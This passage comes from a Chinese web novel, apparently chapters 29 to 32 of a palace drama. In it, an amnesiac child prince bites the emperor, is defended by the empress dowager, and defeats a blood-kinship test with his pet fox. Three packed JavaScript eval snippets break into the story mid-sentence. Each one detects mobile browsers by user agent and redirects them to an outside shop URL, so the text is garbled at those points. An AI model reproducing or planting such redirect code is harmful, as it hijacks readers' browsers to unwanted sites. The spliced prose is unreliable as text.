第一下落了下来,隔着薄薄的寝衣,打在屁股上。 李常安愣住了,屈辱感像潮水一样涌上来,瞬间淹没了理智。 “你放开我!”他大声着拼命挣扎起来,“放开!混蛋!坏蛋!” “还敢骂朕?”皇帝的声音更冷,“看来是打得轻了!” “啪!啪!” 又是两下,比刚才重了些。 李常安疼得眼泪一下子涌了出来。 “呜……你放开……皇兄……皇兄救我……” 皇帝的手顿了顿。 那声“皇兄救我”,像根针,刺进了他心里。 但随即,更大的怒意涌上心头——这种时候,他喊的仍是太子,而不是父皇。 “今日,谁也救不了你。”皇帝的声音冷硬,“犯了错,就要受罚。这是规矩。” “啪!啪!啪!” 又是几下。 李常安哭得更大声了。 就在皇帝再次抬手要落下时,李常安忽然一扭头,狠狠一口咬在了皇帝的手臂上! “嘶——” 皇帝倒吸一口冷气。 这一口咬得极狠,瞬间就见了血。 疼痛让皇帝的手一松。 李常安趁机从他膝上滚下来,摔在地上,但也顾不得疼,往后退了几步蜷成一团,红着眼睛瞪着皇帝。 皇帝低头,看着自己手臂上渗血的牙印,然后缓缓抬起眼,看向小七。 “李常安,”皇帝的声音低得可怕,“你是属狗的吗?” 李常安瞪着他,带着鼻音大声喊回去:“偶是狗儿子!你就是狗爹!” 30.第 30 章 皇帝的手臂上,血迹已经凝固,但红肿未消。 太医战战兢兢地跪在养心殿内,小心翼翼地清洗伤口,额头上冷汗涔涔。 这伤……看着像是人咬的。 可谁敢咬皇上? 太医心里翻江倒海,面上却不敢流露分毫,只专注地盯着伤口。 【这牙印……整齐小巧,倒像是孩童的。】太医心里嘀咕,【宫里哪个皇子这么大胆?不对,皇子们谁敢咬皇上?】 他偷偷抬眼瞥了一下皇帝的脸色。 皇帝坐在御案后,面无表情,任由太医摆弄手臂,另一只手还在翻看着奏折,仿佛受伤的不是自己。 但太医能感觉到,那股压在殿内的低气压——让人喘不过气。 太医继续胡思乱想。 他脑中忽然闪过一个名字——七皇子。 前几日高热失忆,听说还闹出纵火的事,被皇上罚了禁足…… 【难道真是七殿下?】太医手一抖,药粉撒多了些,赶紧低头,“皇上恕罪!臣、臣……” “无妨。”皇帝的声音平淡,“继续。” 太医松了口气,擦擦冷汗,继续包扎。 心里却掀起了惊涛骇浪。 若真是七殿下…… 咬了皇上,还能活着? 而且皇上看起来……似乎并不打算追究? 太医偷偷又瞥了一眼皇帝。 包扎完毕,太医躬身退下。 走出养心殿,被冷风一吹,他才发现自己后背都湿透了。 王公公送他出来,脸上也是惨白一片。 “王公公,”太医忍不住压低声音问,“这伤……” 王公公连忙摆手,做了个噤声的手势:“太医慎言!今日之事,切莫外传!” 太医心中一凛,连连点头:“明白,明白……” 他快步离开,心里却把七皇子的地位默默往上提了三档——咬了皇上还能全身而退,这位小殿下,怕是不简单。 殿内,王公公重新跪回皇帝身侧,心里也在翻江倒海。 他跟着皇上几十年,从未见过有人敢如此冒犯天颜——打、骂、咬,一整套齐全了。 关键是,皇上居然没当场把人拖出去砍了。 非但没砍,连重罚都没有,只是加了一个月禁足…… 王公公偷偷抬眼,瞥了一眼皇帝脸色,又想起刚才在长春宫听到的那句“狗爹”,只觉得心脏还在怦怦直跳。 这位七殿下,真是不得了。 消息传到慈宁宫时,太后正在修剪一盆兰花。 林嬷嬷低声禀报完,太后的剪子顿了顿。 “常安那孩子……失忆了?”太后问,眉头微皱。 “是,听说是高热三日,伤了神志。”林嬷嬷小心翼翼地说,“太医说可能是暂时的,好生调养便能恢复。” 太后放下剪子,沉默了一会儿。 “皇上罚他禁足一个月,还不让任何人探视?” “是。” 太后叹了口气。 皇帝教训儿子,她这个做祖母的本不该插手。 后宫不得干政,皇子教育更是皇帝说了算。 但…… “那孩子前几日不是还伤了头吗?”太后问,“现在怎么样了?” “额头上的伤好些了,但听说精神还是不好,时常犯困。” 林嬷嬷顿了顿,压低声音,“还有……听说昨晚,七殿下把皇上给咬了。” 太后猛地转头:“什么?” 林嬷嬷把听到的消息一五一十说了——当然,省略了“狗爹”那段,只说七殿下失手打了皇上,被皇上抓着打屁股,七殿下情急之下咬了一口。 太后听完,愣了半天。 然后,忽然“噗嗤”一声笑了出来。 “这孩子……” 太后摇头,眼中却带着笑意,“失忆了,胆子倒是不小。” 林嬷嬷也忍不住笑了:“谁说不是呢。听说皇上当时脸都青了,但最后也没重罚。” 太后沉吟片刻,站起身。 “摆驾长春宫。” 林嬷嬷一愣:“太后,皇上下了旨,任何人不得探视……” “哀家是‘任何人’吗?”太后挑眉,“哀家是他母亲,去看看生病的孙子,天经地义。” 林嬷嬷明白了,笑着应道:“是,奴婢这就去安排。” 长春宫里,李常安正趴在床上生闷气。 屁股还在隐隐作痛,虽然不算严重。 【宿主,别难过了。】007在他脑子里安慰,【咱们以后躲着点皇上就是了。】 “我不喜欢他。”李常安小声说,“我讨厌他。” 【好好好,讨厌讨厌。】007顺着他说,【那咱们不想他了,想想别的?比如……可乐?】 李常安眼睛亮了亮,但随即又黯淡下去:“皇兄说今天来看我……他什么时候来?” 007沉默了一下。 它不知道该不该告诉宿主,皇上下了旨,不让任何人探视——包括太子。 【太子可能有事情忙,】007最终说,【咱们再等等。】 正说着,殿外忽然传来一阵嘈杂的脚步声,接着是宫人们惊慌的请安声:“太后娘娘千岁——” 李常安一愣。 太后?那是谁? 还没等他反应过来,寝殿的门就被推开了。 一个穿着深紫色宫装、满头银发的老太太走了进来,身边跟着个慈眉善目的嬷嬷。 老太太看起来年纪很大,但精神很好,一进来就直直看向床上的李常安。 “常安,”她开口,声音温和,“来,让皇祖母看看。” 李常安眨了眨眼,没动。 他不认识这个人,但……她自称“皇祖母”,那应该是皇上的母亲? 林嬷嬷走上前,柔声道:“七殿下,这是太后娘娘,您的皇祖母。快起来行礼。” 李常安慢吞吞地从床上爬起来,笨拙地行了个礼:“常安见过皇祖母。” 那礼行得歪歪扭扭,但太后看着,眼中却露出了笑意。 “好孩子,过来。”太后在床边坐下,朝他招手。 李常安犹豫了一下,还是走了过去。 太后仔细打量着他——额头上的纱布已经拆了,伤口已经结疤。 小脸还有些苍白,眼睛却清澈明亮,此刻正好奇地看着她。 “听说你病了,”太后伸手,轻轻摸了摸他的额头,“还疼吗?” 李常安摇摇头:“不疼了。” “那这里呢?”太后又指了指他的脑袋,“还晕吗?” “有时候会。”李常安老实说,“太医说要好好养。” 太后点点头,目光落在他脸上,忽然问:“听说,你把皇上给咬了?” 李常安一愣,小脸瞬间绷紧了。 他抿着嘴,没说话,但眼中明显不服气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844693|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>太后看着他的表情,忽然笑了:“咬得好。” 李常安瞪大了眼睛。 连旁边的林嬷嬷都愣住了。 “皇祖母……不骂我?”李常安小声问。 “骂你做什么?”太后挑眉,“他先动手打你,你咬回去,天经地义。” 这话说得理直气壮,李常安听得眼睛都亮了。 【宿主,这位太后娘娘思路清奇啊!】007在李常安脑子里感叹。 “可是……”李常安犹豫了一下,“他们说,他是皇上,我不能咬。” “皇上怎么了?”太后哼了一声,“皇上也是人,做错了事就该挨咬。” 她顿了顿,眼中闪过一丝狡黠:“而且啊,皇祖母告诉你个秘密——你父皇小时候,也咬过人。” 李常安的好奇心被勾起来了:“咬谁?” “咬他父皇,也就是你皇祖父。” 太后笑着说,“那时候啊,你皇祖父宠爱丽妃,想废后——就是废了你皇祖母我。你父皇当时才四岁,听说了这件事,气得冲进御书房,抱着你皇祖父的胳膊就咬了一口。” 李常安听得目瞪口呆:“四岁?” “对,四岁。”太后点头,“咬得可狠了,见血了。” “那……皇祖父罚他了吗?” “罚了,怎么没罚?” 太后笑着说,“但你父皇脾气倔,挨了打也不认错,就说‘不准欺负母后’。后来大臣们劝阻,说你父皇还小,不懂事。再加上那时你大姑姑——就是皇祖母的大女儿——刚好要去和亲,你皇祖父心里有愧,这事也就不了了之了。” 李常安听得入神,小脸上写满了惊奇。 他没想到,那个冷着脸、凶巴巴的皇上,小时候也会做这种事。 “所以啊,”太后摸摸他的头,“咬人不是什么大事。关键是,为什么咬。” 她看着李常安,眼神温柔:“你父皇打你,是他不对。他一个大人应该好好跟你讲道理,你咬他,是你保护自己。皇祖母觉得,你做得对。” 李常安心里那点委屈,忽然就散了。 他仰着头看着太后,眼睛亮晶晶的:“皇祖母……您真好。” 太后笑了,把他搂进怀里:“傻孩子,你是皇祖母的孙子,皇祖母不对你好,对谁好?” 祖孙俩就这样坐在床边说话。 太后问李常安喜欢吃什么,喜欢玩什么,李常安一一回答,还说了很多孩子气的想法。 太后听得直乐,答应等他病好了,就带他去宫外玩。 “不过啊,”太后忽然正色道,“常安,皇祖母有句话要跟你说。” “皇祖母请讲。” “你咬皇上这件事,虽然皇祖母觉得你没错,但宫里规矩多,别人不这么想。” 太后认真地说,“以后遇到这种事,可不能再冲动了,要先保护自己,知道吗?如果打不过,就跑。跑去找皇祖母。记住了吗?” 李常安点点头:“我记住了。” “还有,”太后摸摸他的小脸,“你父皇他……脾气不好,但心里不是真的讨厌你。他只是……不知道该怎么对你好。” 李常安抿着嘴,没说话。 太后叹了口气,知道这话孩子听不懂,也不再多说。 “好了,皇祖母该走了。”太后站起身,“你好好养病,乖乖喝药。等禁足解了,皇祖母再来看你。” 李常安乖巧点头:“常安恭送皇祖母。” 31.第 31 章 慈宁宫,太后回到宫中,林嬷嬷奉上茶,忍不住问:“太后,您今日去看七殿下,皇上那边……” “皇上怎么了?”太后端起茶盏,淡淡地说,“哀家看自己的孙子,还要经过他同意?” “奴婢不是这个意思……” 林嬷嬷连忙道,“只是皇上下了旨,任何人不得探视……” “哀家是任何人吗?”太后放下茶盏,声音微冷. “皇帝这些年,对常安那孩子如何,哀家不是不知道。如今孩子病了,失忆了,他还这般苛待……真当哀家老了,管不动了?” 林嬷嬷不敢接话。 太后沉默了一会儿,忽然说:“去,把皇上叫来。” “现在?” “现在。” 林嬷嬷赶紧去了。 半个时辰后,皇帝来到了慈宁宫。 “参见母后。” “坐。”太后淡淡道。 皇帝在对面坐下,面上依旧没什么表情。 “常安那孩子,”太后开口,“哀家去看过了。” 皇帝眼神微动,没说话。 “病得不轻,失忆了,什么都不记得了。” 太后继续说,“额头上的伤还没好全,精神也差,太医说需要好生将养。” 皇帝依然沉默。 “皇帝,”太后看着他,“你打算关他到什么时候?” “一个月。”皇帝开口,声音平淡,“他犯了错,该罚。” “犯错?”太后挑眉,“什么错?纵火?还是……咬了你?” 皇帝抿唇。 “纵火那事,哀家听说了,他当时高热未退,神志不清。”太后缓缓道。 “至于咬你……皇帝,你打他在先。” “他先打了朕。”皇帝说。 “你跟个小孩子计较什么?常安本来就跟你不亲,趁他失忆了,你不想好好培养感情?”太后看着他。 皇帝不说话了。 太后端起茶盏,用碗盖轻轻撇去浮沫,没有立刻饮用,只是垂眸看着杯中澄澈的茶汤。 “他跟朕不亲,不是因为朕没给机会。” 皇帝终于开口,声音依旧平淡,却少了几分方才的冰冷,多了几分复杂。 “是朕……与他之间,隔着太多东西。” 太后抬眸看他:“什么东西?是皇权上的权衡利弊?还是隔着你自己心里那点过不去的坎儿?” 她放下茶盏,语气缓了些,“皇帝,你是君父。君在前,父在后。可你不能只记得自己是君,忘了自己也是父。尤其是对常安那孩子。” 皇帝抿唇不语,手指无意识地在膝上敲击着。 “哀家今日去看他,”太后继续说道,“那孩子,又瘦了,额头上疤还没褪,看人的眼神……干净得像水。” 她顿了顿,看向皇帝:“皇帝,你知道这意味着什么吗?” 皇帝抬眼,对上母亲的目光。 “这意味着,老天爷给了你一次重来的机会。” 太后一字一句道,“给了你们父子,一次从头开始的机会。之前的事随着他那场高烧,都烧没了。他现在就是一张白纸,你这当爹的往上画什么,就是什么。” 见皇帝神色微动,太后话锋一转,“而且……皇帝,你有没有想过,常安这场病,或许并非偶然?” 皇帝眼神一凝:“母后何意?” 太后身体微微前倾,“哀家听伺候的宫人说,常安高热那几日,长春宫夜里小太监起夜时,恍惚看见殿顶有淡淡金光一闪而过……当然,这些或许是以讹传讹。” 她坐直身体,语气恢复平常,“但皇帝,你该知道,千年来皆有圣谕,说皇室若有纯孝仁善、身负大功德者,将有祥瑞庇佑。麒麟现世,护佑苍生。” 皇帝沉默着没有接话,要是小七没有麒麟护佑他早就…… 她重新端起茶盏,慢条斯理地饮了一口,才缓缓道:“明年,便是甲子年了吧?” 皇帝心头一震。 甲子年,十年一度的三国盟会之期!大晟、北渠、西朔三国约定,每十年于三国交界之地的“天祈台”举行大典,祭祀天地,盟誓和平,亦是三国展示国力、文化、乃至……天命所归的时机。 上一次大典,还是先帝在位时。 “三国盟会,万邦来朝,是天大的盛事,亦是天大的考验。” 太后语气肃然,“我大晟近年来虽有中兴之象,然北渠虎视眈眈,西朔亦非善类。朝中虽有能臣猛将,但天命之事,最是玄妙,亦最能动摇人心。若届时……” 她没说完,但皇帝已明白其中深意。 若届时大典之上,能有祥瑞显现,哪怕只是传闻,对大晟的国运、对皇权的稳固,都有不可估量的作用。 而“麒麟庇佑”的皇子,无疑是最好的祥瑞象征。 “常安若真与麒麟有缘,那是天佑我大晟。”太后看着皇帝,语重心长。 “皇帝,即便没有这层,单凭他是你儿子,是哀家的孙子,你也该好好待他。” 皇帝沉默良久,殿内只闻更漏滴答。 终于,他站起身,躬身道:“母后教诲,儿臣谨记。常安……禁足之期,便改为半月吧。半月后,解禁。” 他顿了顿,“禁足期间,朕会亲自教导他学问。” 太后脸上露出笑意,点了点头:“皇帝心中有数便好。去吧。” “儿臣告退。” …… 养心殿,烛火已燃起,将皇帝的身影拉长投在屏风上。 他屏退了所有宫人,只留王公公在门外守着。 “出来。”皇帝对着空荡荡的殿内,低声说了一句。 一道黑影如同鬼魅般,悄无声息地出现在御案前三步远处,单膝跪地。 正是暗卫首领,影七。 “查得如何?”皇帝的声音听不出喜怒。 “回陛下,”影七的声音沙哑。 “宁嫔当年之事,确有蹊跷。按宫中旧档,元和十二年四月初七,宁嫔以祈福为由出东宫,前往白云观,亥时末方归。 次日初八便称病,再未出景和宫偏殿,直至四月初九生产。 其间,除徐太医及张氏等心腹,外人不得近身。” 皇帝手指轻轻敲击桌面:“还有吗?” 影七顿了顿,声音更沉:“属下奉命追查徐太医及当年可能知情人下落时,发现另一条线索,似有异常。” “讲。” “元和十一年夏,西朔国太子贺兰灼曾以‘游历求学’为名来访我大晟,滞留近半年,于元和十二年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852208|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二月方离京返回西朔。” 影七抬头,谨慎说道:“据查,贺兰灼在京期间,曾颇为宠爱一名献艺的歌姬,此女约在元和十一年十月有孕。 贺兰灼离京前,对此女似有安排,但之后便无下文。属下顺着这条线暗查,发现那名歌姬…… 大约在元和十二年四月中,于京郊一处庄子上产下一子。但对外,包括西朔太子那边得到的消息,都是产下死胎,母子俱亡。” 四月中?皇帝眼神骤然一凝!宁嫔是四月初九生产,皇后是四月初十生产。这个歌姬的生产时间,就在这前后不久! “那个孩子呢?真死了?”皇帝的声音冷了下来。 “庄子上的稳婆和伺候的人,在那歌姬生产后不久,均意外身亡。属下目前尚未找到确切踪迹。但……” 影七的声音带着一丝不确定,“有附近农户隐约记得,那庄子在四月初的那几天,似乎有过婴儿啼哭声,但很快就没了。因那庄子素来神秘,他们也不敢多问。” 皇帝的脸色在烛光下变得极其难看,殿内温度仿佛瞬间降至冰点。 如果……如果宁嫔当年不只是想用自己的孩子换皇后的孩子呢?如果她与外人勾结…… 皇帝的胸膛剧烈起伏了几下,他猛地闭上眼,强行压下心中翻腾的惊怒。 如果小七只是宁嫔与别人私通所生,虽然耻辱,但至少还是汉人血脉,还在他可以控制和处理的范围内。 最多是皇家丑闻,想办法遮掩便是。 但如果是异族之子……是西朔太子的血脉……那意味着什么? 意味着敌国的血脉,被他当作皇子抚养了六年!意味着一个流着西朔王族血液的孩子,顶着大晟皇子的名分,活在宫中,甚至……未来可能接触到更多! 这已不是丑闻,这是致命的隐患!是足以动摇国本、引发朝野震荡、甚至给敌国可乘之机的惊天阴谋! “查!”皇帝骤然睁眼,里面翻涌的怒意和杀机,“给朕查清楚!当年宁嫔身边,除了徐太医和张氏,还有谁接触过外面!尤其是……西朔那边!” 他一字一顿,声音森寒:“动用所有能动用的力量,不惜一切代价,给朕挖地三尺,也要把真相刨出来!记住,不能打草惊蛇!” “是!属下遵命!”影七重重叩首,身影一晃,便如同融入阴影般消失不见。 殿内重归寂静,只有烛火噼啪作响。 皇帝独自坐在御案后,久久未动。 他的脸在明明灭灭的烛光中,晦暗不明。 太后的话犹在耳边——麒麟庇佑,天佑大晟。 影七的禀报亦在脑海——西朔太子,神秘歌姬,死婴疑云。 两个截然不同的可能,像两把巨大的钳子,撕扯着他的理智。 如果小七真是身负祥瑞的皇子,是他的骨肉,那自然是天大的好事,是皇室之幸,是明年大典的一张王牌。 但如果……如果那最坏的可能成真…… 皇帝的手猛地攥紧了扶手,坚硬的紫檀木发出不堪重负的细微声响。 那么,这个孩子,就绝不能留。 无论太后如何劝说,无论他心中是否有愧,无论……那孩子如今看起来多么无辜可怜。 在江山社稷面前,一切个人情感,都必须让步。 32.双更合一 长春宫,李常安抱着豆沙盘腿坐在临窗的炕上,此刻,豆沙正用没长齐的乳牙小心翼翼地啃着他指尖捏着的一块桂花糖。 “豆沙,慢点吃,小心噎着。”李常安摸着豆沙说道。 【宿主,今天感觉怎么样?头还晕吗?】007关心地问道。 “不晕了。”李常安摇摇头,掰了一小块糖放进自己嘴里,含糊地说,“就是有点闷。皇兄说来看我,怎么还没来?” 【可能……有事耽搁了吧。】007的声音有点虚。 它当然知道,太子不是不来,是暂时还不能来。 正说着,殿外忽然传来小太监的通报声: “皇上驾到——!” 李常安手一抖,指尖剩下的半块桂花糖“啪嗒”掉在炕毯上。 豆沙敏捷地一跃,叼起糖块就蹿到了炕角,警惕地看着门口。 李常安则像是被烫到一样,猛地从炕上跳下来,小脸瞬间绷紧,每次见到这个人,总没好事。 皇帝今日未穿朝服,只一身玄青色常服,腰间束着玉带,他目光先扫过略显凌乱的炕几,最后落在小七身上。 “看来,你过得不错。”皇帝开口,声音听不出喜怒,自顾自在炕桌另一侧的主位上坐下。 李常安抿着嘴,没吭声,手指悄悄绞着衣角。 【宿主,行礼,问安。】007赶紧提醒。 李常安这才想起嬷嬷们这几日反复教导的规矩,不情不愿地地躬身:“儿臣……参见父皇。” “嗯。”皇帝应了一声,指了指对面的位置,“坐。” 李常安磨磨蹭蹭地坐下。 “听说你近日在读书?”皇帝拿起炕桌上那本《千字文》,随手翻了翻,上面有稚嫩的笔迹描红,歪歪扭扭,但看得出很认真。 “……嗯。”李常安小声应道,是弘文馆先生送来的书。 “读到何处了?” “治本于农,务兹稼穑……”李常安背了两句,声音越来越小。 他其实记性很好,太傅教过的都记得,但他本能地不想在这个人面前表现。 皇帝看了他一眼,没计较他的拘谨,放下书,淡淡道:“今日起,朕亲自教你一个时辰。” 什么?!李常安猛地抬起头,眼睛瞪得溜圆,满是难以置信和……抗拒。 连007都惊了:【皇帝亲自教?这是唱的哪一出?】 “怎么,不愿意?”皇帝挑眉。 “我……儿臣……”李常安“我”了半天,憋出一句,“豆沙……豆沙还没喂完……” 皇帝的目光扫向炕角。 小赤狐豆沙正抱着那块糖舔得起劲,感受到目光,警惕地抬起小脑袋,龇了龇牙,又把糖块往身后藏了藏,一副护食的模样。 皇帝眼中掠过一丝好笑:“畜牲而已,让宫人照料。坐好。” 李常安肩膀垮了下来,不情不愿地坐直身体。 “先从《论语》开始。‘学而时习之,不亦说乎’。可知何意?”皇帝没有拿书,直接问道。 李常安茫然摇头。 皇帝便开始讲解,声音平稳,条理清晰,深入浅出,竟是难得的好耐心。 李常安起初还神游天外但渐渐地,竟被皇帝讲述的内容吸引了。 【触发随机任务:认真听讲一刻钟。】 【奖励:宠物零食一小包(可投喂豆沙)。】 007适时地发布了任务。 李常安眼睛一亮!有奖励!还是给豆沙的!他立刻打起精神,努力去听,去记。 一刻钟很快过去。 【任务完成!奖励发放至背包,宿主可以随时取出。】007提示。 李常安心中一喜,脸上的表情也生动了些。 皇帝何等敏锐,立刻察觉了他细微的情绪变化,心中微动,面上却不显,继续问道:“‘有朋自远方来,不亦乐乎’,此句,结合方才所讲‘学’之乐,你有何想法?” 这问题对一个六岁孩子来说有些深了。 皇帝本意也只是随口一问,并不指望他能答出什么。 然而,李常安歪着头想了想,竟然小声开口道:“自己学了东西,很开心。如果……如果有朋友从很远的地方来,看到我学的东西,也能觉得好,一起开心……那是不是……更开心?” 他的表述还很稚嫩,逻辑也有些跳跃,但那份童稚的理解,却意外地触及了“独乐乐不如众乐乐”的意趣内核。 皇帝眼中闪过一丝讶异,这回答,虽简单,却灵性十足。 他不由追问:“若那远来之友,并非称赞你所学,反而讥讽嘲笑,又当如何?” 李常安皱起小眉头,认真地想了想:“那……那是他不喜欢。我学了,我自己高兴就好了。皇祖母说,不要因为别人不喜欢,自己就不高兴了。” 皇帝沉默地看着他,这孩子……失忆后,心思竟如此通透? “继续。”皇帝按下心中翻涌的思绪,接着往下讲。 这次,他讲得更细致了些,偶尔还会引申一些典故,观察着李常安的反应。 007又悄悄发布了一个“回答正确三个问题”的任务,奖励是一小时的动画片时间,李常安为了任务奖励,听得格外认真。 他记性极好,皇帝讲过的句子,复述起来几乎一字不差。 有些引申的典故,他虽不能完全理解,却能提出一些天真却角度刁钻的问题。 “父皇,‘三人行,必有我师焉’,那如果三个人里,有一个是豆沙这样的,怎么当老师呢?”他指着又偷偷蹭过来的小狐狸,一脸认真地问。 皇帝:“……” 【宿主,你这个问题超纲了……】007捂脸。 皇帝额角跳了跳,耐着性子解释:“此‘人’乃泛指,非仅指人族。飞禽走兽,山川草木,若有可取之处,亦可为师。譬如狐性机警,可取其优点。” 李常安“哦”了一声,似懂非懂,转头对豆沙说:“听见没,父皇夸你机警呢。” 豆沙:“呜?” 一个时辰,便在这样的问答中过去。皇帝发现,小七其实非常聪明,一点就透,举一反三,甚至偶尔会有些跳脱却充满灵气的想法。这绝非一个平庸愚钝的孩子。 他不禁想起暗卫报上来的、关于小七失忆前在弘文馆的表现——功课平平,骑射寻常,沉默寡言,在众皇子中毫不显眼。 是藏拙?还是……有什么别的原因? 皇帝想着,心中却愈发纷乱。 这孩子越是聪慧剔透,那“若非亲生”的可能性,就越像一把淬毒的匕首,抵在他的喉间。 皇室血脉不容混淆,更何况可能是敌国血脉!他必须立刻确认! “很好。”皇帝打断了他的背诵,忽然从袖中取出一个寻常的白色小瓷瓶,又抽出一根细长的银针。 李常安停下,疑惑地看着他手里的东西,心中升起一丝不安。 “伸手。”皇帝命令道。 李常安下意识地把手往身后缩了缩,警惕地问:“……做什么?” “取一滴血。”皇帝言简意赅,目光紧锁着他。 “血?”李常安小脸一白,头摇得像拨浪鼓,“不要!疼!” “朕让你伸手。”皇帝语气沉了一分。 李常安被他骤然冷下来的语气吓得一颤,眼圈立刻红了。 他瘪着嘴,固执地把手藏得更后:“不要!怕疼!父皇……父皇是坏人!又要打我了吗?” 说着,眼泪还真在眼眶里打起了转,一副受了天大委屈的模样。 皇帝被他这反应噎了一下。 “只是取一滴血,不会很疼。”皇帝试图缓和语气,但常年居于上位,那缓和也显得生硬。 “一滴血也是血!”李常安带着哭腔嚷道,小身板却悄悄往炕里挪了挪,离皇帝更远了些。 同时在心里飞快地问007,【他要我的血干什么?好可怕!】 007的数据流高速运转分析,结合皇帝反常的举动和态度,一个古老的法子跳了出来:【滴血认亲!宿主,他可能在用滴血认亲的法子验证你是不是他亲生的!这法子不准的!】 滴血认亲?李常安虽然不懂具体,但“验证是不是亲生的”他听懂了。 原来父皇一直这么凶,是因为怀疑他不是亲儿子? 一股莫名的委屈的情绪涌了上来。 但他迅速抓住了007话里的关键——这法子不准。 “除非……”李常安吸了吸鼻子,抬起泪汪汪的眼睛,看着皇帝,声音还带着哽咽,语气却开始讨价还价。 “除非父皇答应我一个要求!不然……不然我就不给!” 皇帝:“……” 王公公在门口恨不得把脑袋埋进地砖里。 七殿下啊!七殿下,您可真敢提! 皇帝气极反笑,看着眼前这个明明怕得要死、却还梗着脖子跟他讲条件的小豆丁,一时间竟不知该怒还是该叹。 “说。”皇帝从牙缝里挤出一个字。 罢了,不过一个孩童的要求,能有多难?先取了血再说。 李常安眼珠子转了转,“我……我还没想好!父皇先答应,等我想好了再说!” 皇帝额角青筋跳了跳,看着那张满是泪痕却透着狡黠的小脸,忽然有种被自家崽子算计了的错觉。 他深深看了李常安一眼,最终点了下头:“可。朕答应你一个要求,君无戏言。现在,伸手。” 【触发临时任务:配合完成滴血认亲,并揭穿其荒谬。】 【奖励:体质+1,,积分+100。】 007适时发布任务,并悄悄补充,【宿主,待会可以这样……】 李常安得了承诺,又有了任务奖励诱惑,这才视死如归般伸出左手食指,紧紧闭上了眼睛,小脸皱成一团。 皇帝不再犹豫,用银针在他指尖迅速一刺。 李常安“嘶”地抽了口冷气,睫毛上还挂着泪珠。 皇帝用瓷瓶接住那滴血,随即,毫不犹豫地也用银针刺破自己的指尖,挤出一滴血,滴入瓶中。 为了绝对保密,他甚至连清水都未让宫人准备,直接拿起炕桌上李常安喝了一半的温茶壶。 皇帝目光紧紧盯着那杯水。 两滴血落入澄澈的茶汤中,缓缓下沉,却如同两颗互斥的珠子,在水中悠悠荡荡,始终泾渭分明,无论如何晃动杯壁,都没有丝毫相融的迹象! 皇帝的脸色,瞬间沉了下去,黑如锅底。握着杯壁的手指,用力到骨节发白。 不相融……竟然真的不相融?! 一股冰冷的怒意涌上心头,他抬眼看向李常安,眼神里已经带了杀意。 只见李常安先是呆呆地看着那杯不相融的血水,仿佛终于明白了什么,小嘴一扁,蓄了半天的眼泪如同决堤般汹涌而出,小戏精瞬间上线! “哇——!!!” 他放声大哭,声音凄厉,一边哭一边指着那杯子,上气不接下气地控诉:“不相融……真的不相融……父皇!你……你果然怀疑我不是你亲生的! 你早就这么想了是不是?所以你才不喜欢我,才凶我,才打我!哇……哇啊啊啊……” 他哭得撕心裂肺,小脸涨红,眼泪鼻涕糊了一脸,那伤心欲绝的模样,任谁看了都会心生不忍。 豆沙被他突如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860155|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其来的大哭吓得炸了毛,绕着他脚边焦急地“吱吱”叫。 皇帝被他哭得心烦意乱,“闭嘴!”皇帝低喝一声,试图维持威严。 李常安却哭得更凶了,一边哭,一边突然伸手,趁皇帝不备,一把抓过皇帝放在炕桌上的手,他学着刚才皇帝的样子,在皇帝另一根手指上一扎! 皇帝:“!!!” 他完全没料到这孩子会有如此举动,一时竟忘了缩手。 李常安扎完,飞快地又抓起豆沙,在它的小爪垫上也轻轻一刺。 豆沙:“吱——!” 接着,他把杯子往皇帝面前一递,哭得直打嗝,却气势汹汹:“你……你看!你和豆沙的……的血!融了!你……你和豆沙才是亲生的!你去认豆沙当儿子好了!呜呜呜……” 皇帝下意识地看向杯沿,只见两滴血,竟然……真的“融”在了一起! 皇帝:“……” 王公公在门外死死低着头,肩膀抖得如同风中落叶,心中却是崩溃不已,他真的不想知道这么多,如果传出去,皇上真的会砍了他的头。 下次跟七殿下有关的事,还是让小李子陪着吧,这一天天的,王公公我啊……真的要受不住了! 皇帝看着相融的血,再看看哭成泪人、却还不忘用眼睛瞪着自己的儿子,又看看地上一脸无辜、舔着爪子的小狐狸……一股尴尬涌上心头。 滴血认亲……荒谬至极! 自己竟被一个六岁孩子,用一只狐狸,当场揭穿了这法子的不可靠。 “胡闹!”皇帝斥道,声音有些干涩。 他一把夺过杯子,放在一旁,看着哭得直打嗝的李常安,心里头的那点杀意早已变成了……心虚。 “朕……朕并非……”他想解释,却不知从何说起。 难道说朕怀疑你是敌国孽种? “你就是!”李常安打断他,哭得伤心,却不忘讨债,“你答应我的要求……还、还算数吗?” 皇帝看着他那副“我虽然很伤心但我还记着账”的小模样,简直哭笑不得,只得硬着头皮点头:“君无戏言。” 【成长任务:父子的亲密时光。】 